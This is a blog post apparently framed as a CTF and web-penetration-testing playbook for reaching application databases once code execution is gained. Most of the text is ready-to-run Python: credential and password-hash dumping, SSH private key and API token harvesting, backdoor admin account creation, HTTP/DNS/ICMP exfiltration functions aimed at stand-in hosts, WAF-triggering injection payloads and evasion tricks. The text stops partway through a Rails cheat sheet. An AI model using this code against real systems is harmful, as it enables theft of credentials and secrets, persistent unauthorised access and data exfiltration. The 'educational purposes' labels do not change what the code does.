by danduran on Cybersecurity 21 min read, Comments: 0 (Add Your Comment!)

Advanced Web Application Penetration Testing: The Database Access Playbook

TL;DR:

For CTF web challenges with code execution, don't forget to attempt accessing databases regardless of framework. First identify the technology stack, then use framework-specific techniques to query database models. Target user/credential tables for passwords and SSH keys as well as path traversals.

Web applications often house their most sensitive data in databases, making database exploration a critical skill for penetration testing and CTF challenges. This comprehensive guide provides methodical techniques for accessing and exploiting database content in web applications when direct SQL injection might not be possible but code execution is available.

1. Reconnaissance and Footprinting

Web Server Technology Identification

Begin by gathering crucial information about the target:

# Check HTTP headers
curl -I <target-url>

# Examine response headers for server type and version
# Look for X-Powered-By, Server, X-AspNet-Version headers

Identify common fingerprints:
- Flask: Uses Werkzeug/Jinja2, sets session cookies
- Django: Admin interfaces at /admin, sets csrftoken cookies
- Ruby on Rails: CSRF-Token headers, session stored in cookies
- Express.js: Express framework, often uses EJS or Pug templates
- PHP: X-Powered-By: PHP, common .php extensions
- ASP.NET: X-AspNet-Version, .NET framework signatures

Web Framework Fingerprinting

Look for framework-specific patterns:

// Check for JavaScript libraries and frameworks
document.querySelectorAll('script').forEach(s => console.log(s.src));

// Look for meta tags that might reveal framework information
document.querySelectorAll('meta').forEach(m => console.log(m.outerHTML));

Directory and File Enumeration

# Use appropriate tools to discover application structure
gobuster dir -u <target-url> -w /path/to/wordlist

# Look for specific framework files
wfuzz -c -z file,/path/to/framework-files.txt <target-url>/FUZZ

Common files to look for:
- app.py, wsgi.py (Flask)
- settings.py, urls.py (Django)
- config/database.yml (Rails)
- wp-config.php (WordPress)
- .env files (Various frameworks)

2. Exploiting Code Execution Environments

Shell Environment Analysis

When you gain code execution (through a web console, code sandbox, etc.), systematically explore:

# Operating system and environment
import os, sys, platform
print(f"OS: {os.name}, Platform: {platform.platform()}")
print(f"Python version: {sys.version}")
print(f"Current user: {os.getlogin() if hasattr(os, 'getlogin') else os.environ.get('USER')}")
print(f"Current directory: {os.getcwd()}")
print(f"Environment variables: {dict(os.environ)}")

# Process information
import psutil
print(f"Running processes: {[p.name() for p in psutil.process_iter()]}")

File System Exploration

Thoroughly map the application structure:

# Recursive directory listing function
def explore_dir(path, depth=0, max_depth=3):
    if depth > max_depth:
        return

    try:
        print(f"{'  ' * depth}📁 {path}")
        for item in os.listdir(path):
            item_path = os.path.join(path, item)
            if os.path.isdir(item_path):
                explore_dir(item_path, depth + 1, max_depth)
            else:
                print(f"{'  ' * (depth+1)}📄 {item}")
    except:
        print(f"{'  ' * depth}❌ Permission denied or error")

# Start from current directory
explore_dir(".")

# Look for specific file types
import glob
print(f"Python files: {glob.glob('**/*.py', recursive=True)}")
print(f"Config files: {glob.glob('**/*.conf', recursive=True)} {glob.glob('**/*.config', recursive=True)} {glob.glob('**/*.ini', recursive=True)}")
print(f"Database files: {glob.glob('**/*.db', recursive=True)} {glob.glob('**/*.sqlite', recursive=True)}")

Finding Application Entry Points

# Look for main application files
common_app_files = [
    "app.py", "main.py", "run.py", "wsgi.py",  # Flask/Python
    "settings.py", "urls.py",  # Django
    "server.js", "app.js", "index.js",  # Node.js
    "index.php", "app.php"  # PHP
]

for file in common_app_files:
    if os.path.exists(file):
        print(f"Found application file: {file}")
        with open(file, "r") as f:
            print(f.read())

Memory Inspection

# Inspect loaded modules and classes
import sys
print(f"Loaded modules: {list(sys.modules.keys())}")

# Get all global variables
print(f"Global variables: {[v for v in globals().keys() if not v.startswith('_')]}")

# Check for framework-specific objects
frameworks = {
    "Flask": ["app", "Flask", "request", "session"],
    "Django": ["settings", "urls", "admin"],
    "SQLAlchemy": ["db", "session", "Base", "engine", "Model"],
    "Pandas": ["pd", "DataFrame"],
    "Numpy": ["np", "array"]
}

for framework, objects in frameworks.items():
    found = [obj for obj in objects if obj in globals()]
    if found:
        print(f"Found {framework} objects: {found}")

3. Database Access Techniques

Identifying Database Type

# Look for database connection strings
import re

db_patterns = {
    "SQLite": r'sqlite:///[\w./]+',
    "MySQL": r'mysql(\+pymysql)?://[\w:@./]+',
    "PostgreSQL": r'postgresql://[\w:@./]+',
    "MSSQL": r'mssql(\+pyodbc)?://[\w:@./]+'
}

def find_db_strings(directory="."):
    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.endswith(('.py', '.js', '.php', '.rb', '.conf', '.yml', '.env')):
                try:
                    path = os.path.join(root, file)
                    with open(path, 'r') as f:
                        content = f.read()
                        for db_type, pattern in db_patterns.items():
                            matches = re.findall(pattern, content)
                            if matches:
                                print(f"Found {db_type} connection in {path}: {matches}")
                except:
                    pass

find_db_strings()

SQLAlchemy ORM Exploration (Python)

# Comprehensive SQLAlchemy database exploration
try:
    # Try common import patterns
    try:
        from app import db
    except ImportError:
        try:
            from main import db
        except ImportError:
            try:
                from models import db
            except ImportError:
                print("Could not import db directly")

    # Find SQLAlchemy Base class or db instance
    import inspect
    import sqlalchemy

    # Method 1: Through inspector
    try:
        inspector = sqlalchemy.inspect(db.engine)
        print("Tables found via inspector:")
        for table_name in inspector.get_table_names():
            print(f"  - {table_name}")
            print(f"    Columns: {[column['name'] for column in inspector.get_columns(table_name)]}")
    except:
        print("Could not use inspector method")

    # Method 2: Through metadata
    try:
        if hasattr(db, 'metadata'):
            print("Tables found via metadata:")
            for table in db.metadata.tables.values():
                print(f"  - {table.name}")
                print(f"    Columns: {[column.name for column in table.columns]}")
    except:
        print("Could not use metadata method")

    # Method 3: Find model classes
    print("Looking for SQLAlchemy model classes...")
    for name, obj in list(globals().items()):
        if inspect.isclass(obj):
            try:
                if hasattr(obj, '__tablename__') or hasattr(obj, '__table__'):
                    print(f"  - Found model: {name}")
                    if hasattr(obj, '__tablename__'):
                        print(f"    Table name: {obj.__tablename__}")

                    # Try to get column names
                    try:
                        print(f"    Columns: {[column.name for column in obj.__table__.columns]}")
                    except:
                        pass

                    # Try to query data
                    try:
                        instances = db.session.query(obj).all()
                        print(f"    Row count: {len(instances)}")
                        if len(instances) > 0:
                            print(f"    First row attributes: {dir(instances[0])}")

                            # Special handling for user-like models
                            if hasattr(instances[0], 'username') or hasattr(instances[0], 'email') or hasattr(instances[0], 'password'):
                                print("    User-like model detected! Extracting credentials:")
                                for instance in instances:
                                    creds = {}
                                    for attr in ['id', 'username', 'email', 'password', 'role', 'is_admin']:
                                        if hasattr(instance, attr):
                                            creds[attr] = getattr(instance, attr)
                                    print(f"      {creds}")
                    except Exception as e:
                        print(f"    Error querying data: {e}")
            except:
                pass
except Exception as e:
    print(f"Error during SQLAlchemy exploration: {e}")

Django ORM Exploration (Python)

# Django ORM access and exploration
try:
    # Try to import Django components
    try:
        import django
        print(f"Django version: {django.__version__}")
        # Initialize Django if not already done
        import os
        os.environ.setdefault("DJANGO_SETTINGS_MODULE", "config.settings")
        django.setup()
    except Exception as e:
        print(f"Could not set up Django: {e}")

    # Access user model
    try:
        from django.contrib.auth import get_user_model
        User = get_user_model()
        users = User.objects.all()
        print(f"Found {len(users)} users:")
        for user in users:
            print(f"  - Username: {user.username}, Email: {user.email}, Is superuser: {user.is_superuser}")
    except Exception as e:
        print(f"Error accessing Django User model: {e}")

    # List all installed apps and their models
    try:
        from django.apps import apps
        print("All Django models:")
        for model in apps.get_models():
            print(f"  - {model.__name__} from {model._meta.app_label}")
            # List objects from this model
            try:
                objects = model.objects.all()[:5]  # Get first 5 for brevity
                print(f"    First {len(objects)} objects: {objects}")
            except:
                pass
    except Exception as e:
        print(f"Error listing Django models: {e}")
except Exception as e:
    print(f"Error during Django exploration: {e}")

Direct SQL Execution

# Try direct SQL execution with various database libraries
def execute_sql(query, params=None):
    # Try SQLAlchemy
    try:
        if 'db' in globals() and hasattr(db, 'engine'):
            with db.engine.connect() as conn:
                result = conn.execute(query, params or {})
                return [dict(row) for row in result]
    except:
        pass

    # Try sqlite3
    try:
        import sqlite3
        # Look for SQLite database files
        sqlite_files = glob.glob('*.db') + glob.glob('*.sqlite') + glob.glob('*.sqlite3')
        if sqlite_files:
            conn = sqlite3.connect(sqlite_files[0])
            conn.row_factory = sqlite3.Row
            cursor = conn.cursor()
            cursor.execute(query, params or ())
            rows = cursor.fetchall()
            return [dict(row) for row in rows]
    except:
        pass

    # Try psycopg2 (PostgreSQL)
    try:
        import psycopg2
        import psycopg2.extras
        # This requires connection parameters to be known
        conn = psycopg2.connect(dbname="postgres", user="postgres")
        cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
        cursor.execute(query, params or ())
        rows = cursor.fetchall()
        return [dict(row) for row in rows]
    except:
        pass

    # Try MySQL
    try:
        import MySQLdb
        conn = MySQLdb.connect(host="localhost", user="root", passwd="")
        cursor = conn.cursor(MySQLdb.cursors.DictCursor)
        cursor.execute(query, params or ())
        return cursor.fetchall()
    except:
        pass

    return None

# Try to list tables
tables = execute_sql("SELECT name FROM sqlite_master WHERE type='table'") or \
         execute_sql("SHOW TABLES") or \
         execute_sql("SELECT table_name FROM information_schema.tables WHERE table_schema='public'")

if tables:
    print(f"Found tables: {tables}")

    # Check for users tables
    for table in tables:
        table_name = list(table.values())[0]
        if any(user_term in table_name.lower() for user_term in ['user', 'auth', 'account', 'member']):
            print(f"Found potential users table: {table_name}")
            user_data = execute_sql(f"SELECT * FROM {table_name}")
            if user_data:
                print(f"User data: {user_data}")

NoSQL Database Access

# MongoDB access
try:
    # Try to import pymongo
    import pymongo

    # Try common connection patterns
    clients = [
        pymongo.MongoClient(),  # Default localhost connection
        pymongo.MongoClient("mongodb://localhost:27017/"),
        pymongo.MongoClient("mongodb://admin:admin@localhost:27017/")
    ]

    for client in clients:
        try:
            # List all databases
            dbs = client.list_database_names()
            print(f"MongoDB databases: {dbs}")

            for db_name in dbs:
                if db_name not in ['admin', 'local', 'config']:
                    db = client[db_name]
                    collections = db.list_collection_names()
                    print(f"Collections in {db_name}: {collections}")

                    # Check for users collections
                    for coll_name in collections:
                        if any(term in coll_name.lower() for term in ['user', 'auth', 'account', 'member']):
                            print(f"Found potential users collection: {coll_name}")
                            coll = db[coll_name]
                            users = list(coll.find({}, {'_id': 0}).limit(5))
                            print(f"Sample data: {users}")
        except Exception as e:
            print(f"Error exploring MongoDB client: {e}")
except:
    print("MongoDB exploration failed or not applicable")

4. Common Web Framework Database Models

User Model Patterns

Web frameworks typically follow these patterns for user tables:

Flask/SQLAlchemy

# Common User model pattern
print("Searching for User models in SQLAlchemy...")
try:
    # Method 1: Direct access if User model is imported
    if 'User' in globals():
        user_class = globals()['User']
        users = db.session.query(user_class).all()
        print(f"Found {len(users)} users via direct User class")
        for user in users:
            print(f"  - User attributes: {[attr for attr in dir(user) if not attr.startswith('_')]}")
            if hasattr(user, 'username') and hasattr(user, 'password'):
                print(f"  - Username: {user.username}, Password: {user.password}")

    # Method 2: Search for user-like models
    for name, obj in list(globals().items()):
        if inspect.isclass(obj) and hasattr(obj, '__tablename__'):
            tablename = obj.__tablename__.lower()
            if 'user' in tablename or 'account' in tablename or 'member' in tablename:
                print(f"Found potential user table: {obj.__tablename__}")
                try:
                    users = db.session.query(obj).all()
                    print(f"  - Row count: {len(users)}")
                    if users:
                        user_attrs = [attr for attr in dir(users[0]) if not attr.startswith('_')]
                        print(f"  - Attributes: {user_attrs}")

                        # Extract credential-like attributes
                        cred_attrs = ['username', 'email', 'password', 'password_hash']
                        for user in users:
                            user_data = {}
                            for attr in cred_attrs:
                                if hasattr(user, attr) and getattr(user, attr):
                                    user_data[attr] = getattr(user, attr)
                            if user_data:
                                print(f"  - User credentials: {user_data}")
                except Exception as e:
                    print(f"  - Error querying: {e}")

    # Method 3: Try common query patterns
    common_queries = [
        "db.session.query(User).all()",
        "User.query.all()",
        "session.query(User).all()",
        "db.session.query(Users).all()",
        "Users.query.all()"
    ]

    for query in common_queries:
        try:
            users = eval(query)
            print(f"Query successful: {query}")
            print(f"Found {len(users)} users")

            # Print user information
            for user in users[:5]:  # Limit to 5 for brevity
                if hasattr(user, '__dict__'):
                    # Filter out SQLAlchemy internal attributes
                    user_dict = {k: v for k, v in user.__dict__.items() if not k.startswith('_')}
                    print(f"  - User data: {user_dict}")
                elif hasattr(user, 'username') and hasattr(user, 'password'):
                    print(f"  - Username: {user.username}, Password: {user.password}")
            break
        except:
            continue
except Exception as e:
    print(f"Error exploring user models: {e}")

Config and Settings Models

# Look for configuration stored in the database
print("Searching for config/settings in the database...")

config_table_names = ['config', 'setting', 'configuration', 'option', 'parameter', 'system_setting']

# Method 1: Direct table query
for table_name in config_table_names:
    try:
        # Try to find the table class
        table_class = None
        for name, obj in list(globals().items()):
            if inspect.isclass(obj) and hasattr(obj, '__tablename__') and obj.__tablename__.lower() == table_name:
                table_class = obj
                break

        if table_class:
            config_items = db.session.query(table_class).all()
            print(f"Found {len(config_items)} items in {table_name} table")
            for item in config_items:
                print(f"  - {item.__dict__ if hasattr(item, '__dict__') else item}")
    except:
        pass

# Method 2: SQL query
for table_name in config_table_names:
    try:
        config_data = execute_sql(f"SELECT * FROM {table_name}")
        if config_data:
            print(f"Found config data in {table_name}: {config_data}")
    except:
        pass

5. Password Hash Identification and Cracking

Hash Identification

# Identify hash types from found passwords
def identify_hash(hash_string):
    # Common hash patterns
    patterns = {
        "MD5": r'^[a-f0-9]{32}$',
        "SHA-1": r'^[a-f0-9]{40}$',
        "SHA-256": r'^[a-f0-9]{64}$',
        "SHA-512": r'^[a-f0-9]{128}$',
        "Bcrypt": r'^\$2[ayb]\$\d+\$[a-zA-Z0-9./]{53}$',
        "PBKDF2": r'^pbkdf2_sha256\$\d+\$[a-zA-Z0-9]+\$[a-zA-Z0-9./+]+$',  # Django format
    }

    for hash_type, pattern in patterns.items():
        if re.match(pattern, hash_string):
            return hash_type

    return "Unknown"

# Example usage
print("Hash identification examples:")
common_hashes = [
    "5f4dcc3b5aa765d61d8327deb882cf99",  # MD5 of "password"
    "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8",  # SHA-1 of "password"
    "$2b$12$NVVUkHl5yMUJiJ6JbG/HLu/l/9fBQ3RsZHFnDyDqKfWmevOurJgqW"  # bcrypt
]

for hash_string in common_hashes:
    print(f"Hash: {hash_string} -> Type: {identify_hash(hash_string)}")

Hash Extraction Strategies

# Find and extract password hashes from database or memory
def extract_password_hashes():
    hashes = []

    # Method 1: Direct database query for user passwords
    try:
        for name, obj in list(globals().items()):
            if inspect.isclass(obj) and hasattr(obj, '__tablename__'):
                # Look for user-like tables
                if any(term in obj.__tablename__.lower() for term in ['user', 'account', 'member', 'auth']):
                    try:
                        instances = db.session.query(obj).all()
                        for instance in instances:
                            if hasattr(instance, 'password') and getattr(instance, 'password'):
                                username = getattr(instance, 'username', '') or getattr(instance, 'email', '') or 'unknown'
                                pwd_hash = getattr(instance, 'password')
                                hashes.append((username, pwd_hash, identify_hash(pwd_hash)))
                    except:
                        pass
    except:
        pass

    # Method 2: Look for common password hash patterns in strings
    try:
        for name, value in list(globals().items()):
            if isinstance(value, str):
                # Check if value looks like a hash
                hash_type = identify_hash(value)
                if hash_type != "Unknown":
                    hashes.append((name, value, hash_type))
    except:
        pass

    return hashes

# Execute the extraction
password_hashes = extract_password_hashes()
print(f"Found {len(password_hashes)} potential password hashes:")
for username, hash_value, hash_type in password_hashes:
    print(f"  - User: {username}, Hash: {hash_value}, Type: {hash_type}")

6. Lateral Movement Techniques

SSH Key Identification

# Look for SSH keys
def find_ssh_keys():
    ssh_keys = []

    # Common SSH key locations
    ssh_key_paths = [
        '~/.ssh/id_rsa',
        '~/.ssh/id_dsa',
        '~/.ssh/id_ecdsa',
        '~/.ssh/id_ed25519',
        '/etc/ssh/ssh_host_rsa_key',
        '/home/*/.ssh/id_rsa'
    ]

    # Method 1: Direct file access
    for path in ssh_key_paths:
        try:
            expanded_path = os.path.expanduser(path)
            if glob.glob(expanded_path):
                for key_file in glob.glob(expanded_path):
                    with open(key_file, 'r') as f:
                        content = f.read()
                        if '-----BEGIN' in content and 'PRIVATE KEY-----' in content:
                            ssh_keys.append((key_file, content))
        except:
            pass

    # Method 2: Look for key content in database
    try:
        sql_results = execute_sql("SELECT * FROM config WHERE value LIKE '%-----BEGIN%PRIVATE KEY-----%'") or \
                     execute_sql("SELECT * FROM settings WHERE value LIKE '%-----BEGIN%PRIVATE KEY-----%'") or \
                     execute_sql("SELECT * FROM options WHERE value LIKE '%-----BEGIN%PRIVATE KEY-----%'")
        if sql_results:
            for row in sql_results:
                for key, value in row.items():
                    if isinstance(value, str) and '-----BEGIN' in value and 'PRIVATE KEY-----' in value:
                        ssh_keys.append((f"Database column: {key}", value))
    except:
        pass

    return ssh_keys

# Find and print SSH keys
ssh_keys = find_ssh_keys()
if ssh_keys:
    print(f"Found {len(ssh_keys)} SSH keys:")
    for location, key in ssh_keys:
        key_preview = key.split('\n')[0] + '[...]'
        print(f"  - Location: {location}")
        print(f"    Key: {key_preview}")
else:
    print("No SSH keys found")

API Token Extraction

# Look for API tokens and secrets
def find_api_tokens():
    tokens = []

    # Common token patterns
    token_patterns = {
        "AWS Key": r'AKIA[0-9A-Z]{16}',
        "Google API": r'AIza[0-9A-Za-z\-_]{35}',
        "GitHub Token": r'github_pat_[0-9a-zA-Z_]{82}',
        "Generic Token": r'[a-zA-Z0-9_\-\.=]{30,90}'
    }

    # Method 1: Environment variables
    for key, value in os.environ.items():
        for token_type, pattern in token_patterns.items():
            if re.search(pattern, value):
                tokens.append((token_type, key, value))

    # Method 2: Database config tables
    try:
        for table_name in ['config', 'setting', 'options', 'parameters', 'api_keys', 'tokens']:
            try:
                results = execute_sql(f"SELECT * FROM {table_name}")
                if results:
                    for row in results:
                        for col_name, col_value in row.items():
                            if isinstance(col_value, str):
                                for token_type, pattern in token_patterns.items():
                                    if re.search(pattern, col_value):
                                        tokens.append((token_type, f"{table_name}.{col_name}", col_value))
            except:
                pass
    except:
        pass

    # Method 3: Local configuration files
    config_files = glob.glob('**/*.json', recursive=True) + \
                  glob.glob('**/*.yml', recursive=True) + \
                  glob.glob('**/*.yaml', recursive=True) + \
                  glob.glob('**/*.conf', recursive=True) + \
                  glob.glob('**/*.env', recursive=True)

    for config_file in config_files:
        try:
            with open(config_file, 'r') as f:
                content = f.read()
                for token_type, pattern in token_patterns.items():
                    matches = re.findall(pattern, content)
                    for match in matches:
                        tokens.append((token_type, config_file, match))
        except:
            pass

    return tokens

# Find and print API tokens
api_tokens = find_api_tokens()
if api_tokens:
    print(f"Found {len(api_tokens)} potential API tokens/secrets:")
    for token_type, location, value in api_tokens:
        # Mask value for security
        masked_value = value[:4] + '*' * (len(value) - 8) + value[-4:] if len(value) > 8 else '*' * len(value)
        print(f"  - Type: {token_type}, Location: {location}, Value: {masked_value}")
else:
    print("No API tokens found")

7. Privilege Escalation Vectors

SUID Binary Identification

# Look for SUID binaries
def find_suid_binaries():
    try:
        import subprocess
        result = subprocess.check_output("find / -perm -4000 -type f 2>/dev/null", shell=True)
        binaries = result.decode().strip().split('\n')

        interesting_binaries = []
        common_binaries = ['/bin/su', '/bin/sudo', '/usr/bin/passwd', '/usr/bin/gpasswd']

        for binary in binaries:
            if binary not in common_binaries:
                interesting_binaries.append(binary)

        return interesting_binaries
    except:
        return []

# Check for potential SUID privilege escalation
suid_binaries = find_suid_binaries()
if suid_binaries:
    print(f"Found {len(suid_binaries)} potentially interesting SUID binaries:")
    for binary in suid_binaries:
        print(f"  - {binary}")
else:
    print("Could not check for SUID binaries or none found")

Wildcard Injection Detection

# Look for potential wildcard injection in cron jobs
def check_wildcard_injection():
    try:
        # Check crontab files
        cron_files = [
            '/etc/crontab',
            '/etc/cron.d/*',
            '/var/spool/cron/*'
        ]

        potential_targets = []

        for cron_path in cron_files:
            for file in glob.glob(cron_path):
                try:
                    with open(file, 'r') as f:
                        content = f.read()
                        # Look for wildcards in commands
                        wildcard_patterns = [r'\*\.sh', r'\*\.py', r'\*\.pl', r'find .* -exec']
                        for pattern in wildcard_patterns:
                            if re.search(pattern, content):
                                potential_targets.append((file, pattern))
                except:
                    pass

        return potential_targets
    except:
        return []

# Check for wildcard injection opportunities
wildcard_targets = check_wildcard_injection()
if wildcard_targets:
    print(f"Found {len(wildcard_targets)} potential wildcard injection targets:")
    for file, pattern in wildcard_targets:
        print(f"  - File: {file}, Pattern: {pattern}")
else:
    print("No wildcard injection targets found or could not check")

Configuration Vulnerabilities

# Check for common configuration vulnerabilities
def check_config_vulnerabilities():
    vulnerabilities = []

    # Look for insecure configurations
    try:
        # Check for database connection strings with credentials
        config_files = glob.glob('**/*.py', recursive=True) + \
                      glob.glob('**/*.config', recursive=True) + \
                      glob.glob('**/*.json', recursive=True) + \
                      glob.glob('**/*.env', recursive=True) + \
                      glob.glob('**/*.ini', recursive=True)

        for file in config_files:
            try:
                with open(file, 'r') as f:
                    content = f.read()
                    # Look for passwords and tokens
                    if re.search(r'password.*=.*[\'"][^\'"]+[\'"]', content, re.IGNORECASE) or \
                       re.search(r'secret.*=.*[\'"][^\'"]+[\'"]', content, re.IGNORECASE) or \
                       re.search(r'key.*=.*[\'"][^\'"]+[\'"]', content, re.IGNORECASE):
                        vulnerabilities.append((file, "Contains hardcoded credentials"))

                    # Look for insecure settings
                    if 'DEBUG = True' in content or '"debug": true' in content.lower():
                        vulnerabilities.append((file, "Debug mode enabled"))

                    if 'ALLOWED_HOSTS = ["*"]' in content or 'ALLOWED_HOSTS = []' in content:
                        vulnerabilities.append((file, "Insecure ALLOWED_HOSTS"))
            except:
                pass
    except:
        pass

    return vulnerabilities

# Check for configuration vulnerabilities
config_vulns = check_config_vulnerabilities()
if config_vulns:
    print(f"Found {len(config_vulns)} potential configuration vulnerabilities:")
    for file, issue in config_vulns:
        print(f"  - {file}: {issue}")
else:
    print("No configuration vulnerabilities found or could not check")

8. Persistence and Data Exfiltration Techniques

Creating Backdoor Users

# Example of creating backdoor in various frameworks (for educational purposes)
def create_backdoor_examples():
    backdoor_methods = []

    # SQLAlchemy backdoor example
    try:
        if 'db' in globals() and 'User' in globals():
            backdoor_methods.append("""
# Create admin user in SQLAlchemy
from werkzeug.security import generate_password_hash
new_user = User(username='maintenance', 
                password=generate_password_hash('secure_password'),
                is_admin=True)
db.session.add(new_user)
db.session.commit()
""")
    except:
        pass

    # Django backdoor example
    try:
        if 'django' in sys.modules:
            backdoor_methods.append("""
# Create superuser in Django
from django.contrib.auth import get_user_model
User = get_user_model()
User.objects.create_superuser(
    username='maintenance',
    email='maintenance@example.com',
    password='secure_password'
)
""")
    except:
        pass

    # MongoDB backdoor example
    try:
        if 'pymongo' in sys.modules:
            backdoor_methods.append("""
# Create admin user in MongoDB
db.users.insert_one({
    'username': 'maintenance',
    'password': 'secure_password_hash',
    'is_admin': True
})
""")
    except:
        pass

    print("Backdoor creation examples (for educational purposes only):")
    for i, method in enumerate(backdoor_methods, 1):
        print(f"Method {i}:\n{method}")

# Print example methods but don't actually execute them
create_backdoor_examples()

Data Exfiltration Techniques

# Data exfiltration examples (for educational purposes)
def exfiltration_examples():
    examples = []

    # HTTP-based exfiltration
    examples.append("""
# HTTP POST exfiltration
import requests
def exfil_http(data, endpoint='https://example.com/collector'):
    try:
        requests.post(endpoint, json=data, timeout=3)
    except:
        pass  # Silently fail if connection fails
""")

    # DNS-based exfiltration
    examples.append("""
# DNS exfiltration (often bypasses firewalls)
import socket
import base64
import time

def exfil_dns(data, domain='example.com'):
    try:
        # Encode and chunk the data
        encoded = base64.b64encode(data.encode()).decode()
        chunk_size = 30  # DNS label size limit
        chunks = [encoded[i:i+chunk_size] for i in range(0, len(encoded), chunk_size)]

        # Send data via DNS queries
        for i, chunk in enumerate(chunks):
            # Create a unique subdomain with the chunk
            subdomain = f"{i}.{chunk}.{domain}"
            socket.gethostbyname(subdomain)  # This will fail but send the DNS query
            time.sleep(0.1)  # Avoid flooding
    except:
        pass
""")

    # ICMP exfiltration
    examples.append("""
# ICMP exfiltration (requires root privileges)
import subprocess
import base64

def exfil_icmp(data, target='example.com'):
    try:
        # Encode the data
        encoded = base64.b64encode(data.encode()).decode()
        chunk_size = 32  # ICMP payload size limit
        chunks = [encoded[i:i+chunk_size] for i in range(0, len(encoded), chunk_size)]

        # Send data via ICMP packets
        for chunk in chunks:
            subprocess.call(f"ping -c 1 -p {chunk} {target}", shell=True, 
                           stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            time.sleep(0.5)  # Avoid flooding
    except:
        pass
""")

    print("Data exfiltration examples (for educational purposes only):")
    for i, example in enumerate(examples, 1):
        print(f"Method {i}:\n{example}")

# Print example methods but don't actually execute them
exfiltration_examples()

9. Detection and Evasion Techniques

Detecting Web Application Security Monitoring

# Check for common security monitoring systems
def check_security_monitoring():
    monitoring_systems = []

    # Check for WAF indicators
    try:
        import requests
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
            "X-SQLMap-Probe": "test",  # Trigger WAF
            "Content-Type": "application/x-www-form-urlencoded"
        }

        endpoint = "https://example.com/"  # Replace with actual target

        response = requests.get(endpoint, headers=headers, timeout=5)
        # Check for WAF signatures in response
        waf_indicators = {
            "Cloudflare": ["cloudflare", "cf-ray"],
            "ModSecurity": ["mod_security", "modsecurity"],
            "AWS WAF": ["aws-waf", "awswaf"],
            "Akamai": ["akamai"],
            "F5 ASM": ["asm"]
        }

        for waf, indicators in waf_indicators.items():
            for indicator in indicators:
                if indicator.lower() in str(response.headers).lower() or indicator.lower() in response.text.lower():
                    monitoring_systems.append(f"WAF detected: {waf}")
    except:
        pass

    # Check for intrusion detection systems (IDS) through behavior
    try:
        # Quick attempt to trigger IDS (for detection only, not to actually bypass)
        pattern_checks = [
            ("SQL Injection", "' OR '1'='1"),
            ("XSS", "<script>alert(1)</script>"),
            ("Command Injection", "; cat /etc/passwd"),
            ("Path Traversal", "../../../etc/passwd")
        ]

        for name, pattern in pattern_checks:
            try:
                url = f"{endpoint}?param={pattern}"
                response = requests.get(url, timeout=2)
                # Check for suspicious behavior that indicates monitoring
                if response.status_code in [403, 406, 501] or "blocked" in response.text.lower():
                    monitoring_systems.append(f"Potential IDS/IPS detected blocking {name}")
            except:
                pass
    except:
        pass

    return monitoring_systems

# Check for security monitoring (for educational purposes)
# Comment this out to avoid triggering alerts
# security_systems = check_security_monitoring()
# if security_systems:
#     print(f"Detected {len(security_systems)} security monitoring systems:")
#     for system in security_systems:
#         print(f"  - {system}")
# else:
#     print("No security monitoring systems detected or could not check")

Evasion Techniques

# Examples of evasion techniques for web application firewalls
def waf_evasion_examples():
    examples = []

    # Encoding-based evasion
    examples.append("""
# URL encoding and double encoding
import urllib.parse

def evade_with_encoding(payload):
    # Basic URL encoding
    encoded = urllib.parse.quote(payload)

    # Double encoding (for nested parsers)
    double_encoded = urllib.parse.quote(encoded)

    return {
        "original": payload,
        "encoded": encoded,
        "double_encoded": double_encoded
    }

# Example
payloads = evade_with_encoding("' OR '1'='1")
""")

    # Timing-based evasion
    examples.append("""
# Timing-based evasion (avoid triggering rate limits)
import time
import random

def evade_with_timing(requests_function):
    def wrapper(*args, **kwargs):
        # Random delay between 2-5 seconds
        time.sleep(2 + random.random() * 3)
        return requests_function(*args, **kwargs)
    return wrapper

# Example usage
@evade_with_timing
def make_request(url):
    import requests
    return requests.get(url)
""")

    # User-Agent rotation
    examples.append("""
# User-Agent rotation for avoiding fingerprinting
import random

def get_random_user_agent():
    user_agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
    ]
    return random.choice(user_agents)

# Example
headers = {"User-Agent": get_random_user_agent()}
""")

    print("WAF evasion examples (for educational purposes only):")
    for i, example in enumerate(examples, 1):
        print(f"Method {i}:\n{example}")

# Print example methods but don't actually execute them
waf_evasion_examples()

10. Web Application Penetration Testing Cheat Sheet

Framework-Specific Quick Commands

Flask/SQLAlchemy

# Flask/SQLAlchemy quick commands
flask_commands = {
    "Import DB": "from app import db",
    "List all users": "db.session.query(User).all()",
    "Get admin users": "db.session.query(User).filter_by(admin=True).all()",
    "Inspect DB structure": "db.metadata.tables.keys()",
    "Get table columns": "[column.name for column in User.__table__.columns]",
    "Create new admin": """
new_user = User(username='backdoor', password='secure_hash', admin=True)
db.session.add(new_user)
db.session.commit()"""
}

print("Flask/SQLAlchemy Quick Commands:")
for name, command in flask_commands.items():
    print(f"// {name}\n{command}\n")

Django

# Django quick commands
django_commands = {
    "Import User model": "from django.contrib.auth.models import User",
    "List all users": "User.objects.all()",
    "Get admin users": "User.objects.filter(is_superuser=True)",
    "List all tables": """
from django.apps import apps
[model.__name__ for model in apps.get_models()]""",
    "Create superuser": """
User.objects.create_superuser('backdoor', 'backdoor@example.com', 'secure_password')"""
}

print("Django Quick Commands:")
for name, command in django_commands.items():
    print(f"// {name}\n{command}\n")

Rails/ActiveRecord

# Rails/ActiveRecord quick commands
rails_commands = {
    "List all users": "User.all",
    "Get admin users": "User.where(admin: true)",
    "List all tables": "ActiveRecord::Base.connection.tables",
    "Table columns": "User.column_names",
    "Create admin user": "User.create(username: 'backdoor', password: 'secure_password', admin: true)"
}

